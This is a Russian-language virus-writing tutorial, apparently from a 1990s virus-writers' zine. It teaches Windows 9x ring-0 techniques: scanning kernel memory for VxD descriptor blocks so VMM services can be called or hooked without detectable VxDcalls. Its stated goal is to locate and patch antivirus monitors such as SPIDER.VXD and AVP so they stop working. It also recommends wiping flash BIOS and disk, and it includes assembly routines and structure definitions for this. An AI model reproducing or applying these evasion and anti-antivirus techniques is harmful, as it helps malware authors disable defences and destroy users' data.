ВОЙНА В RING-0

Часть 3

"Zed? It's Maynard. The spider
just caught a coupl'a flies.
"
"Pulp Fiction", Q.Tarantino
(кто смотрел, тот поймет ;-)

В первой части статьи мы говорили о переходах вирусов в ring-0. Во второй части были показаны некоторые примеры. Здесь будет рассказано о том, с чего же нужно начинать свои действия в нуле.

Итак, используя почти последнее что у нас осталось -- LDT, мы перешли в ring-0. Я полагаю, что вам уже известно, что обычно делают дальше. ;-) Иначе читать этот текст бесполезно. А дальше обычно выделяют память, копируют туда вирус, перехватывают обращения к файлам, портят флэш и все такое.

Проблема заключается в уже инсталлированом простеньком драйверке -- называется он SPIDER.VXD. Конечно, проблема не только в этом конкретном антивирусе, а в возможности существования таких мониторов и в возможности всяких плохих действий с их стороны. Короче, допустим, что сей файлик, подстерегая нас на доступе к IDT и GDT, таки пропустил в ring-0. И вот, ничего не подозревающий вирус делает свой первый VxDcall. И сосет. Ибо VxDcall сделан -- откуда?, и функция GetVxdName() на вопрос антивируса "а из какого вэыксдя пришел вот ентот вот вэыксдекольчик?" честно отвечает ему "а хуй его знает". И тогда антивирус орет "батя, хуйня!", тем стремая юзера, и тот, как показано на картинке, бежит к лозинскому. Помните об этом.

Собственно о том, как всего этого избежать, и написан сей текст.

Признаюсь вам честно, я преувеличил. Пока еще не на все VxDcall-ы орет sipder, и тем пользуется библиотечка KILLAVXD. Суть ее заключается в следующем: просканировать список VxDей, найти спидера(веба)/авп, и пропатчить их так, чтобы не могли открывать никакие файлы. Пока помогает.

Но дело в том, что список VxDей мы получаем VxDcall-ом, что само по себе плохо. Дальше можно долго спорить о том, что делать и кто виноват. Можно впатчить VxDcall в VMM (0xC0001000 и дальше) и вызывать системные функции оттуда. Но на это найдутся всякие Get_Cur_VM_Handle, ProcessId и прочие, и кроме того -- на каждый такой VxDcall нас могут найти поиском в памяти, и т.п. Короче говоря, так жить нельзя.

Поэтому единственно правильный путь -- убить, убить и еще раз убить антивир и только потом жить спокойно.

Как убить -- да все так же. Найти VxD, пропатчить. Дальше -- по желанию. Отгрузить, стереть на диске, etc. Но отгружать и стирать на диске плохо -- юзер явно увидит. Тогда уж эффективнее грохнуть флэш и винт.

Так что мы не будем останавливаться на этой проблеме, а решим абстрактную задачу -- как вызывать VxDcall-ы, не вызывая таковых.

Рассмотрим вопрос подробно. Как происходит VxDcall? А вот как. Сначала (все нуле) встречается CD 20 xx xx yy yy. Вызывается INT 20h. Обработчик берет yy yy. Это номер VxD. Сканируется список VxDей. Берется из таблички адрес сервиса xx xx, и CD 20 xx xx yy yy меняется на FF 15 [address]. И вот на этот CALL (FF 15) и передается управление.

Рассмотрим теперь VMMcall Hook_Device_Service. Что оно делает? А вот что. Берется список VxDей, сканируется до нужного нам. Все это посредством VMMcall Get_DDB. А дальше берется табличка оффсетов и в ней меняется оффсет хандлера.

Таким образом вместо

        mov     eax, VMM_xxx
        lea     esi, xxx_new
        VMMcall Hook_Device_Service
        jc      __exit
        mov     xxx_old, esi

можно делать так:

        mov     eax, VMM
        xor     edi, edi
        VMMcall Get_DDB
        jecxz   __exit
        mov     edx, [ecx].DDB_Service_Table_Ptr
        lea     eax, xxx_new
        xchg    eax, [edx+4*xxx]
        mov     xxx_old, eax

, где DDB_Service_Table_Ptr -- это поинтер на таблицу оффсетов хандлеров сервисов, по одному на каждый сервис соответствующего VxD.

Но ведь и Get_DDB суть тоже отстой, ибо может быть перехвачено.

Поэтому наша задача -- находить структуры DDB самим. Вот ну ОЧЕНЬ глюкавый пример того, как это не нужно делать.

; начальный адрес поиска (VMM)
        mov     ebx, 0C0001000H
; ищем CALL [xxxxxxxx]
@@1:    inc     ebx
        cmp     word ptr [ebx], 15FFh
        jne     @@1
        mov     ecx, [ebx+2]    ; ECX=xxxxxxxx
; нашли CALL, проверяем чтоб примерно внутри драйверов
        cmp     ecx, 0C0001000h
        jb      @@1
        cmp     ecx, 0C0200000h
        ja      @@1
; итак, ECX показывает в середину таблички сервисов,
; и резонно предположить, что где-то перед ней структура DDB
@@2:    dec     ecx
        cmp     ecx, 0C0001000h
        jb      @@1
        cmp     [ecx].DDB_Reserved1, 'Rsv1'
        jne     @@2
; вот, нашли мы DDB. Но от какого она VxD хуй знает. проверяем.
        cmp     [ecx].DDB_Req_Device_Number, VMM
        jne     @@1
; и таким образом мы таки поимели VMM-овский DDB
; берем поинтер на табличку сервисов
        mov     edx, [ecx].DDB_Service_Table_Ptr
; вызываем/перехватываем любой нужный нам сервис
        call    [edx+PageAllocate*4]

Проблема приведенного примера вот в чем. Мы НЕ проверяем присутствие страниц сканируемой памяти. И это нам чревато боком ;-). Выходов тут целых два, а может и больше. Во-первых, можно хватать экскепшн через IDT, и это правильно. А во-вторых (для особо умных) можно сканировать таблицу страниц.

Итак, мы научились получать адреса обработчиков сервисов не вызывая VxDcall-ов, равно как их и перехватывать. Но все это осталось полным отстоем, ибо нужный нам сервис может показывать - куда? - правильно, в спидера.

Поэтому первым делом надо описанным выше образом искать антивирусные мониторы, коих и убивать самым жестоким образом.

ПРИЛОЖЕНИЕ

VxDcall                 macro   VxD, Service
                        db      0CDh
                        db      020h
                        dw      Service
                        dw      VxD
                        endm

VMMcall                 macro   Service
                        VxDcall VMM, Service
                        endm

VMM                     equ     0001h
GetDeviceList           equ     0005h
Hook_Device_Service     equ     0090h
Get_DDB                 equ     0146h

VxD_Desc_Block          struc
DDB_Next                dd      ?       ; 00 01 02 03
DDB_SDK_Version         dw      ?       ; 04 05               DDK_VERSION
DDB_Req_Device_Number   dw      ?       ; 06 07               UNDEFINED_DEVICE_ID
DDB_Dev_Major_Version   db      ?       ; 08                  0
DDB_Dev_Minor_Version   db      ?       ; 09                  0
DDB_Flags               dw      ?       ; 0A 0B               0
DDB_Name                db      8 dup (?);0C .. 13            "        "
DDB_Init_Order          dd      ?       ; 14 15 16 17         UNDEFINED_INIT_ORDER
DDB_Control_Proc        dd      ?       ; 18 19 1A 1B
DDB_V86_API_Proc        dd      ?       ; 1C 1D 1E 1F         0
DDB_PM_API_Proc         dd      ?       ; 20 21 22 23         0
DDB_V86_API_CSIP        dd      ?       ; 24 25 26 27         0
DDB_PM_API_CSIP         dd      ?       ; 28 29 2A 2B         0
DDB_Reference_Data      dd      ?       ; 2C 2D 2E 2F
DDB_Service_Table_Ptr   dd      ?       ; 30 31 32 33         0
DDB_Service_Table_Size  dd      ?       ; 34 35 36 37         0
DDB_Win32_Service_Table dd      ?       ; 38 39 3A 3B         0
DDB_Prev                dd      ?       ; 3C 3D 3E 3F         'Prev'
DDB_Size                dd      ?       ; 40 41 42 43         SIZE(VxD_Desc_Block)
DDB_Reserved1           dd      ?       ; 44 45 46 47         'Rsv1'
DDB_Reserved2           dd      ?       ; 48 49 4A 4B         'Rsv2'
DDB_Reserved3           dd      ?       ; 4C 4D 4E 4F         'Rsv3'
VxD_Desc_Block          ends